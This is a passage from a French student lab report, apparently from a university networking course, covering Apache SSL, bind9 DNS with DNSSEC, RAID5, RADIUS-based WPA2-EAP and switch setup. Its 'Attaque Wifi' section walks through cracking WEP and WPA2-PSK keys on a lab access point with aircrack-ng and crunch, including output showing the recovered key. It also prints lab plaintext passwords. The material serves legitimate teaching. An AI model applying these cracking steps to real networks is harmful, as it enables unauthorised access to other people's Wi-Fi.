        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
